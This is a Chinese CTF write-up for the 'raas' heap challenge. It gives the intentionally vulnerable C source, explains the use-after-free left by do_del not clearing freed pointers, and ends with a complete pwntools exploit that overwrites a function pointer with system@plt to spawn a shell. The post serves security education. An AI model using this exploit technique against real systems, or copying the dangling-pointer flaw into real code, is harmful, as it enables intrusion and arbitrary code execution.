https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了raas这个题目感觉还不错,我把wp分享出来,方便大家学习 raas的题目要求是:
nc hackme.inndy.tw 7719
This is a Record-as-a-Service!
And also our fist heap-based challenge.
Source code is available
Tips: use after free
给的源码是:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};
struct record *records[16];
int ask(const char * q)
{
char buff[32];
printf("%s > ", q);
fgets(buff, sizeof(buff), stdin);
return atoi(buff);
}
void rec_int_print(struct record *rec)
{
printf("Record(Type=Integer, Value=%d)\n", rec->integer);
}
void rec_str_print(struct record *rec)
{
printf("Record(Type=String, Value=%s)\n", rec->string);
}
void rec_int_free(struct record *rec)
{
free(rec);
puts("Record freed!");
}
void rec_str_free(struct record *rec)
{
free(rec->string);
free(rec);
puts("Record freed!");
}
void do_new()
{
int idx = ask("Index");
if(idx < 0 || idx > 16) {
puts("Out of index!");
return;
}
if(records[idx]) {
printf("Index #%d is used!\n", idx);
return;
}
struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
r->print = rec_int_print;
r->free = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
int type = ask("Type");
unsigned int len;
switch(type) {
case 1:
r->integer = ask("Value");
break;
case 2:
len = ask("Length");
if(len > 1024) {
puts("Length too long, please buy record service premium to store longer record!");
return;
}
r->string = malloc(len);
printf("Value > ");
fgets(r->string, len, stdin);
r->print = rec_str_print;
r->free = rec_str_free;
break;
default:
puts("Invalid type!");
return;
}
puts("Okey, we got your data. Here is it:");
r->print(r);
}
void do_del()
{
int idx = ask("Index");
records[idx]->free(records[idx]);
}
void do_dump()
{
int idx = ask("Index");
records[idx]->print(records[idx]);
}
int main()
{
alarm(600);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
puts("Welcome to use my Record-as-a-Service (free plan)");
puts("You can only save Integer or String for 600 seconds");
puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");
puts("Here is term of service. You must agree to use this service. Please read carefully!");
puts("================================================================================");
system("cat tos.txt | head -n 30 | sed -e 's/^/ /'");
puts("================================================================================");
while(1) {
puts("1. New record");
puts("2. Del record");
puts("3. Show record");
switch(ask("Act")) {
case 1:
do_new();
break;
case 2:
do_del();
break;
case 3:
do_dump();
break;
default:
puts("Bye~ Thanks for using our service!");
return 0;
}
}
}
这个题目根据提示来看是一道uaf题目,首先uaf是啥,通过http://www.mamicode.com/info-detail-1095509.html和https://www.cnblogs.com/alert123/p/4918041.html和https://bbs.pediy.com/thread-221537.htm这三篇文章可以了解其中的原理
因为程序源码已经给了,所以我就简单说一下这个程序是干啥的:这个程序可以增删查最多16组记录,其中输入的16组记录可以输入数字或者字符串。由于程序在删除记录的时候没有清空数组内的指针,所以导致了uaf的产生
先运行一下程序看一下这个程序干了啥
可以看到这个程序的流程还是很清晰的
再看看程序开启了哪些保护:
看到NX enabled,Canary found分别是开启了栈不可执行和金丝雀保护
因为这个程序用数组保存了新开辟空间的内存,但是在释放内存的时候没有把数组中的指针删除,所以导致漏洞的产生,我的思路是是首先创建两个保存数字1234的记录
地址 | rec_int_print | rec_int_free | 数字 | 长度 |
---|---|---|---|---|
0x9c45008 | 0x0804869e | 0x080486de | 0x004d2 | 0x011 |
0x9c45018 | 0x0804869e | 0x080486de | 0x004d2 | 0x020fe1 |
然后将两个记录依次释放,下图是内存释放后的数据
再创建两个字符型的记录,因为Linux的内存机制会重复利用已经释放后的内存以避免内存碎片的产生,所以,再次申请的两个内存的话指针依然是0x9c45008和0x9c45018,此时数组里面存储的指针分别为
序号 | 地址 |
---|---|
1 | 0x9c45008 |
2 | 0x9c45018 |
3 | 0x9c45008 |
4 | 0x9c45018 |
此时记录两个字符型的变量分别是bbbbaaaabbb和aaaa
这里可以清晰的看到字符串bbbbaaaabbb写入的地址就是数组中第一个地址的所指的位置,此时bbbb覆盖了rec_int_print指针所在的位置,aaaa覆盖了rec_int_free所在的位置,虽然数组1所指的数据已经被释放,但是指针依然可以被访问,此时再调用do_del这个函数再去释放数组1,就可以导致eip被任意控制
此时把aaaa的位置替换成plt@system的地址,把bbbb换成传入system的参数就可以getshell了,此时应该注意的是传入system的参数后面应该用/x00截断,否则会造成执行不成功
所以最后我的exp是:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x080487A3'):
raw_input('debug:')
gdb.attach(io, "set follow-fork-mode parent\nb *" + addr)
elf = ELF('/home/h11p/ctf/raas')
system_addr=elf.plt['system']
print "%x" % system_addr
printf_addr=elf.plt['printf']
print "%x" % printf_addr
io = process('/home/h11p/ctf/raas')
#io = remote('hackme.inndy.tw', 7719)
payload="sh\x00\x00"+p32(system_addr)+"b"*3
debug()
#io.recvuntil('Where What?')
io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('1')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline('1234')
io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('2')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline("1234")
io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')
io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('2')
io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('3')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('12')
io.recvuntil('Value > ')
io.send(payload)
io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('4')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('7')
io.recvuntil('Value > ')
io.sendline("a"*4)
io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')
io.interactive()
io.close()
效果是